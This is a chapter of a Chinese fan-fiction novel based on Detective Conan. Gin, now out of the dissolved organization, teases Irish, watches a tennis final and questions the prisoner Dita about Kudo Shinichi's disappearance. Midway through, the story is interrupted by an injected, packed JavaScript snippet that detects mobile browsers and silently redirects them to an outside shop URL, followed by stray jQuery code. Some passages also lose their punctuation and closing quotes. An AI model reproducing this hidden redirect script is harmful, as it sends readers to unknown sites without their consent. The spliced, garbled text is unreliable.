第 177 章 须晴日

作品:《乌鸦折叠

    《爱尔兰日记》


    6月29日。


    晚间,万事俱备只欠东风,美美躺下等一觉醒来组织完蛋,先做个梦洗白上岸。


    深夜,什么?有人要抓苏格兰?万万不可!那可是波本先生的宝贝啊!


    6月30日。


    凌晨,什么?有人要炸东京塔?断然不可!那可是我家老板的脸面啊!


    拂晓,什么?东京塔倒……啊啊啊东京地震了!不可以!东京是BOSS大人的命根子啊!


    上午,什么?有人要抓波本?使不得啊,那可是波本先生的……的本人啊!


    中午,什么?有人要抓琴酒,你们完了,那可是我家老板的猫……我家老板的猫死了!等等,不对,我爹死了!(尖锐的爆鸣声)


    (凌乱的线条)(撕掉的纸页)(无法识别的符号)(混乱的语句)(漆黑)(蠕动)(不可名状的文字正在阴暗爬行)(扭曲的图案)(大字怒吼)(狂暴的爪印)(旧印)(闪耀的偏方三八面体)(伏行之混沌)(KILL饮料)(爆炒东京塔)(撬棍)(急救电话)(墓碑)……


    (注:接下来的几页内容都无法识别,从中可以看出日记主人的精神状态极其良好)


    7月1日。


    凌晨,辗转反侧睡不着,爬起来去给我爹上香,省得他老人家在下面住不惯喊我去陪他。


    下午,睡醒,接到波本老板的电话,加班,还TMD是加班,不想干了。想念诺瓦利斯先生,潘·迪特里希(注:普罗塞克)老师已经很久没更新《蓝花集市》了,不知道他还好吗?


    夜间,给我爹烧了一本《蓝花集市随想录》,以慰他在天之灵。


    7月2日。


    凌晨,噩梦惊醒,梦到潘·迪特里希老师是琴酒那个混蛋的粉丝,诺瓦利斯的原型就是琴酒,太可怕了,我怎么会做这样的梦?


    上午,我老板一声令下让全东京的警察抓捕组织BOSS波本,我怎么会做这样的……啊啊啊啊老板你在干什么,琴酒死了你也开始发癫了吗?不要啊!


    下午,给我尊敬的爹买了块坟地,立了个衣冠冢,请亲朋好友来参加葬礼。助理联系上了潘·迪特里希老师的编辑,得到了将《蓝花集市随想录》拍成电影的许可。


    晚上,婴儿般安


    稳的睡眠。


    7月3日。


    拂晓给我尊敬的亡父发消息得到了回复。嗯?嗯?哪里不对?!


    上午被琴酒那个混蛋打了一顿:)。


    ……


    黑泽阵看到新闻表示他没有打断爱尔兰——哦组织已经没了该叫他夏目渚了——的腿他也没有这样的儿子。


    至于夏目渚那条腿怎么回事呵他就是在地震的时候睡得太死被从床上晃了下来膝盖跟他扔在地上的笔记本电脑进行了一次“破窗式”的亲密接触咔嚓一声龙骑op起……(划掉)骨头裂了。


    明明看起来也是个挺健康的人高中时期也当过网球部长可夏目渚这人跟他弟弟或者任何一个组织同事比起来都脆得可以当场就爬不起来了。


    幸好他有私人医生不用去医院——地震那几天医院挤得满满当当就他这点小问题


    也正是因为这几天一直待在家里当他拄着拐杖出现被记者询问是怎么回事夏目渚顿时悲从中来说他因为左脚踏进养父书房的门被打了一顿复活的夏目理人把可怜弱小又无辜的他打断了腿。记者关切地说“夏目先生这是家暴啊不然你报警吧”于是夏目渚就闭嘴戚戚然不说话了。


    黑泽阵看完新闻又给夏目渚发了条短信语气非常平和完全没有威胁的意思:你还在财团吗我回去找你。


    [请关注《蓝花集市随想录》喵!]:不用了!爹!真的不用!!我的腿很好完全没事不需要打断我另一条腿啊啊啊我正在财团努力工作!!!


    夏目渚求生欲极强地说他要去上班而且波本老板给他安排了工作正是用人的时候他绝不能躺在床上当一个废物!


    至于郊区墓园里那座“夏目理人之墓”……夏目渚已经飞快的找人把它给拆了墓园的管理员看他的表情就像是在看《豪门狗血剧之为了继承父亲的遗产我先为他举办了葬礼却没想到被打断腿》的精彩剧集一样。


    [改行做侦探]:嗯。


    [请关注《蓝花集市随想录》喵!]:哥你别这样我害怕你最近在哪我把我弟弟送去给你打他打网球的皮厚经打手感也比我好!


    [改行做侦探]:你弟弟今天有比赛。


    [请关注《蓝花集市随想录》喵!]:爹,你变了,我上学的时候你不但不来看我比赛,连家长会都没给我开一次,现在你竟然连我弟弟的比赛日程表都知道!


    [改行做侦探]:我正在看他比赛。


    [请关注《蓝花集市随想录》喵!]:……


    城市上空仿佛传来一个青年“这日子过不下去啦”的捶墙声,而隔着大半个东京,就在古桥町体育馆的网球比赛现场,换了身衣服,戴着帽子、把长发低低绑在脑后的黑泽阵正坐在观众席一角,看网球场上的夏目同学挥动球拍打出决定性的一球。


    绿色的小球划破天空,猛地砸向地震后刚修缮好的场地,然后飞出场外。


    毫无意外的胜利。


    黑泽阵往场中蹦起来的少年看了一会儿,给小部长发了句恭喜,然后把手和手机一起揣在口袋里,转身,在一片浪潮般的年轻欢呼声里出了体育馆。


    他确实在看夏目的比赛,不过没告诉夏目本人,只是从财团出来听说有这场比赛,就顺便来看了。


    至于他明明说要睡觉,却为什么还要出门这件事……


    黑泽阵本来没打算离开公寓,但小侦探毕竟是被绑架了,而且对方是【永生之塔】的人,于是黑泽先生又在沙发上躺了几分钟,就叹了口气,给降谷零打了个电话,说几个小孩找不到工藤,找到他这里来,问降谷先生那边有没有线索。


    ——这是真的,黑羽快斗给他发了好几条消息,那会儿黑泽阵还没看到小侦探给他发的求救讯息,就回了一句没见。


    此时,降谷零已经发现工藤新一又又又失联的事了,他在电话里叹气,语气懊恼地说:


    “最后一次能确定是他本人的联络是在7月1日夜间,随后他就上了去伦敦的飞机。7月2日上午,飞机抵达伦敦后不久,我收到了他的号码发来的「平安落地」的消息,就暂时忽视了他那边的情况,直到昨晚才发现不对。我找到他乘坐的那次航班,询问了伦敦机场的工作人员,他们表示工藤确实安全离开了机场,也就是说他是那之后才失踪的。”


    降谷零的声音很低,听得出来他现在很后悔。他应该阻止工藤新一去英国,或者更多关注一点侦探那边的情况,可事实是昨天下午公安正在行动、地下基地发生爆炸、


    整个米花町一片混乱,降谷零带人收拾残局,跟不应该出现在这里的某些间谍打了打交道,又找到被关了数日的黑泽阵,甚至多了个从地里随便长出来的姨妈,忙到最后连口饭都没吃上,知道工藤新一失联还是因为接到了服部平次的电话。


    等他想去找人的时候已经晚了,工藤新一已经失联了七八个小时,而且人远在英国,日本公安想找人也有心无力,幸好这边有几个MI6的“朋友”。降谷零对MI6昨天的行动是一肚子意见,但不管是为了双方的脸面还是工藤新一的安危他都没把不太好听的话说出口,最后赤井玛丽表示她会让朋友帮忙找人。


    然后赤井玛丽回复:我女儿跟他一起失踪了。


    好,现在不用担心英国的“朋友”们在找人的时候不出力了。


    黑泽阵听完降谷零的话,欲言又止。


    “你……”


    降谷零:“抱歉。”


    黑泽阵:“…………”


    不,他不是这个意思。降谷零,你真什么都不知道?


    黑泽阵很想问问降谷先生你没监控我的手机讯息吗,工藤新一刚才给我发了LINE消息,我给你打电话只是想问问你们那边有没有什么安排……


    毕竟小侦探和【D】先生之间有“赌约”,他们约定不能告诉警察,黑泽阵尊重小侦探的选择,不会直接把这件事主动说出去,但如果有人拦截了他手机收到的信息,那就不关他的事了。


    可这个“有人”怎么忽然掉链子了?


    黑泽阵甚至能猜到降谷先生是什么想法,无非是组织都不在了,继续监控他的一举一动和来往讯息就显得太不近人情,想到这里黑泽阵都被这人给气笑了。


    早干什么去了?降谷先生,你在游轮上的时候可不是这么想的。


    黑泽阵叹气。


    希望公安先生能自觉地看看他的手机——波本,你以前在组织里对琴酒千防万防的谨慎都到哪儿去了?


    (降谷零:波本是谁?我不认识。波本干的事跟我降谷零有什么关系.jpg)


    总之,黑泽阵从降谷零那里得知了工藤新一「海边遇难」、「遭遇蒂塔」、「潜入地下」、「调查教授」、「前往英国」、「意外失联」……的整个经历,再次感叹小侦探是真能折腾,随后向降谷零


    提出了见见老同事蒂塔(Dita)的要求。


    毕竟工藤新一失踪后跟他同行的六分仪真理不能再可疑而蒂塔从回到东京开始就跟六分仪真理有密切的联系落海之后也是先向六分仪真理求救不管是黑泽阵还是降谷零都认为蒂塔会知道一些情报。


    不过降谷先生很忙忙到抽不出时间来调查这件事就让之前跟着工藤新一去剧组的同事冬月带黑泽阵去找蒂塔。


    “他不会有事。”降谷零最后说。


    “我也觉得他不会有事”黑泽阵慢悠悠地、甚至有点恨铁不成钢地说“说不定他是被【D】先生绑架到英国继承某个组织首领的位置了。”


    “……你真会开玩笑啊黑泽。”降谷零忍不住抱怨但语气好像轻松了一点“其实我更希望你在家休息我怕你一出门又出什么事。”


    如果是以前降谷零肯定不会这么跟黑泽阵说话毕竟黑泽去哪里他都管不到除非用上点强硬的手段——但他们已经不是敌人了再那么做不太好。


    现在组织已经没了所有人都有种松了口气的感觉降谷零也直白地表达了自己的担心……或许也是在试探黑泽的态度给他们之间的相处模式找到一个新的平衡点。


    放在以前黑泽听到这种话肯定会皱眉


    黑泽阵说:“这里是你的地盘降谷警官。只要你不同意我就不会走出这间公寓。”


    他的语气意味深长也听不出来是不是在开玩笑。


    降谷零认真掂量了一下终究还是没把黑泽阵的话当真毕竟这人每次都喜欢玩文字游戏不知道什么时候就会惹到他。


    最后降谷零说:“我可没那么大本事等我安排时间你再睡一会儿吧。到时候我让冬月联络你。”


    黑泽阵说好。


    电话挂断但他一时半会也睡不着雪莉的药确实在手上但药物有安眠作用只打算浅眠的话吃了会有反效果。


    于是他换了身衣服把头发扎起来顺便从降谷零的抽屉里捞了一副平光眼镜在上午刚出日头的时候出了门。


    这副打扮看起来不像“琴酒”反倒像当年茶会的“诺瓦利斯侦探”。


    好在认识诺瓦利斯的茶


    会成员们已经基本不在东京了,上次商量电影剧本的时候就有一半人跟工藤优作去了美国,剩下的一半也都是有正经工作的,来凑个热闹也就各自回去上班或者破案了,所以黑泽阵也不担心自己会被人认出来。


    他就这么走在米花町的街道上,像个普通的少年,没人把他当成名侦探诺瓦利斯,也没人知道他是琴酒,更没人管他叫审判之银——关键是因为这身衣服的颜色太鲜亮了,活泼到让熟人看一眼就会因为自己把他和“琴酒联系在一起而产生深深的罪恶感。


    清晨的街道很安静,但很快就因为上班时间的临近而变得喧闹起来。


    雨后空气里的丝丝凉意已经被灼热的夏日驱散,就连清晨都是暖的,黑泽阵还觉得自己穿太厚,只是如果不盖住身上的伤口,就更引人注意了。


    他把手插在口袋里,漫无目的地走,在陌生又熟悉的东京散步。


    降谷先生安排需要一点时间,于是黑泽阵就先去了夏目财团,把夏目渚打了一顿。他只是很轻地敲了夏目渚的脑袋,夏目渚就在地上打滚,黑泽阵跟笑得很勉强的财团助理林先生对上视线,对小林说:辛苦了。


    茶会的第十五代首领·夏目渚的亲戚·财团真正的盖章劳动力林先生:请常来。


    夏目渚:(感觉我的家庭地位越来越低了,这是为什么呢,小林,小林不要抛弃我啊!我爹他真的会打死我的啊!)


    林先生:(他用能敲断钢筋的手,只在你头上砸了个包,足以证明夏目先生真的很爱你了)


    黑泽阵离开夏目财团,又想到夏目渚的弟弟,网球部的夏目同学。


    他打开LINE,找到夏目弟弟的账号,却看到夏目同学这时候应该在参加网球比赛。是青少年网球比赛的决赛——最后一场,他以前也去看过诸伏景光的比赛,赢了。


    决赛在古桥町的体育馆举行,距离这里并不远,黑泽阵就慢悠悠走着去了,还能赶上比赛的尾巴。


    当然,夏目舟也赢了。


    黑泽阵离开网球场的时候不止给夏目同学发了消息,还给诸伏景光发了消息,说:你家后辈也赢了。


    诸伏景光很快回复他:你怎么出来了?


    [改行做侦探]:出来散步。今天天气很好。[湛蓝色天空的照片.jpg]


    [我弟弟打网球天下第一!]:又骗我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489204|112994||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    黑泽阵有点无奈。


    他家小孩在这方面确实是太敏锐了一点,也可能是因为他就没怎么防备诸伏景光。如果跟他说话的人是“苏格兰”,黑泽阵就不会像现在这样放松,更不可能被人察觉到破绽了。


    不像现在他还得哄一下诸伏景光。


    [改行做侦探]:还有去见一位老同事,跟你家Zero报备过了,没有擅自行动。


    [我弟弟打网球天下第一!]:老同事?


    [改行做侦探]:蒂塔,在你们手里。关于工藤新一失踪的事,我想问她几个问题。


    听到是蒂塔,诸伏景光就没再揪着这点不放了,转而说起他和降谷零的事。


    他抱怨说降谷零直接把他从办公室里扛了出去,搞得认识的人都小心翼翼地问他是不是跟降谷零有什么矛盾,毕竟他们两个平时关系就不错,诸伏景光来公安这边也是有许可的,不应该闹到这个地步。有人猜测降谷零有不能让诸伏景光知道的秘密,还有人觉得教父大人(笑)权势滔天不想让人分走他的权力,总之各种各样的猜测都有。


    他们去探望或者打电话安慰诸伏景光的时候当然不会直接这么说,可诸伏景光是个心思细腻的人,同事一开口他就知道对方是怎么想的了,就在这里生闷气。Zero是罪魁祸首又很忙,其他人也不是适合说这些的对象,最后诸伏景光就对黑泽阵抱怨这些乱七八糟的事。


    黑泽阵不懂人心——重申,黑泽先生不懂人心,所以他听完诸伏景光的话,就接了一句:“所以你是觉得这对降谷的名誉有影响,才在这里生气的吧?”


    诸伏景光那边没声了。


    过了一会儿,他微恼地挂断电话,黑泽阵只从听筒里听到了忙音。


    所以他又说错什么了吗?


    黑泽先生不是很理解。


    不过还好,就在想问找诸伏景光问问快进到二次把他家小孩惹恼的时候,那位应该带他去见蒂塔的冬月警官打来了电话。


    听声音是位三十出头的警察,见面也果然如此。冬月警官面容端正,理着寸头,不算特别年轻,成熟里透着一种做事的稳重。他对黑泽阵的身份不了解,但也没问,只说自己是来带他去见犯人的,不过犯人很危险,黑泽


    君跟她见面的时候要小心。


    黑泽阵当然不会为难尽职尽责的警察,虽然他没那么喜欢警察,但现在警察又不会满世界抓他,他也不会针对这些人。


    “好。


    “降谷说你还在养伤,我开车带你去。冬月警官说到这里的时候顿了顿,其实他没看出少年身上有伤,少年的行动也毫无迟滞,不过既然降谷这么说了,冬月警官就当做是这样,“她被关押的地方有点远。


    “在哪?


    “大田区南。


    那确实是挺远的,黑泽阵想了想,那里几乎是整个东京的最南端了,受到地震的影响也比较小,估计公安是怕地震的影响和余震的问题,才把组织的人放在那边的吧。


    当然,也有可能是提前准备的,把里面的人全都换了,至少不会有乌丸集团的暗子什么的。


    他见到了蒂塔。


    大田区南部前几年新修了一座监狱,“住客还没满,其中一部分区域被腾出来收容组织的成员了,蒂塔也在其中。


    被抓住的蒂塔蔫蔫地坐在讯问室里,黑泽阵进去的时候就听到她在低声嘟囔什么,好像是“关东煮,关东煮……,大概是听错了吧。


    监区的人打开门,冬月警官先往里走,然后是黑泽阵。他在蒂塔面前坐下来,蒂塔好像没认出他,只看了两眼就无趣地移开视线。


    于是黑泽阵镇定地摘掉了帽子。


    蒂塔的嘟囔声慢慢小了。


    黑泽阵又解开了脑后的低马尾。


    蒂塔睁大眼睛看着他。


    黑泽阵慢悠悠地摘掉平光眼镜。


    蒂塔不由得张大嘴巴:“你……你你你你你、琴酒?!


    黑泽阵悠悠点了点头。


    饶是他也不得不感叹,在这个世界上,眼镜真是一种神奇的东西。江户川柯南戴上眼镜就跟工藤新一毫无相似之处,帕维尔戴上墨镜才能成为组织的伏特加,而现在黑泽阵只是随手拿了一副平光眼镜,认识多年的组织同事蒂塔女士愣是没看出他是谁来。


    他打量着好像瘦了一圈的蒂塔,总觉得上次见到——起码从资料里看到的时候蒂塔不是这样的,现在她好像饿了好几天一样,监狱里应该不会不给她饭吃吧?


    黑泽阵还在想,蒂塔已经悲愤地喊出声


    :“琴酒!你还我的关东煮!我的关东煮啊!


    黑泽阵:“……


    好像,真的是饿的。


    他终于想起几天前在24小时便利店里吃到的那份关东煮,不得不说蒂塔的额外调料加得不错,再联系到降谷先生说的蒂塔这几天的经历,黑泽阵不由得产生了一种微妙的……幸灾乐祸感。


    同情?不可能的,谢谢蒂塔女士的关东煮。


    蒂塔的反应太激烈,旁边的冬月警官都想去按住她了,就怕她一激动从手铐里挣脱。


    不过黑泽阵摆了摆手表示不用,只对蒂塔说了一句话:“五十岚宽死了。


    蒂塔忽然就不动了。


    很久,她才问:“你知道我背后的人是谁?


    黑泽阵笑了一声,懒洋洋地往椅子上靠,语气理所当然:“我是琴酒。


    因为我是琴酒,所以组织里的事,我知道什么都不奇怪。


    蒂塔听懂了这句话的潜台词,也没继续纠结她的关东煮了,低着头想了一会儿,发觉琴酒可能真的是唯一一个来跟她要情报的,这几天其他来见她的人要的都是“罪证。


    当然,蒂塔女士觉得这里的人都很忙,真正重要的询问一时半会也轮不到她,毕竟如果她没猜错的话,这次的事不是一点点的“风吹草动,是这风吹草动背后的组织全线崩盘。换句话说,乌丸集团恐怕已经不存在了。


    既然乌丸集团没了,背后的老板也疑似死了(毕竟琴酒不会说谎),她就摆正了自己的态度,问:“你想知道什么?


    要是老板还活着,她就得帮老板保守秘密,说不定还得背一两百个黑锅,但如果老板真的死了——其实她觉得不会,但姑且这么想吧——她就得重新斟酌一下自己该做什么了。


    黑泽阵一直很喜欢蒂塔这种人。


    聪明,能看清形势,知道什么该说什么不该说,妥协得也很快。反正他又不需要蒂塔为组织保守什么秘密,能漏多少是多少,虽然组织里的废物太多让他应付起来都很头疼,但蒂塔这样的人还是比较省心的。


    可惜不是他的人,也不是乌丸的人。


    黑泽阵直入主题:“六分仪真理,说说她的事吧。


    蒂塔有点诧异,她没想到琴酒找她问的是六分仪,呃,难道她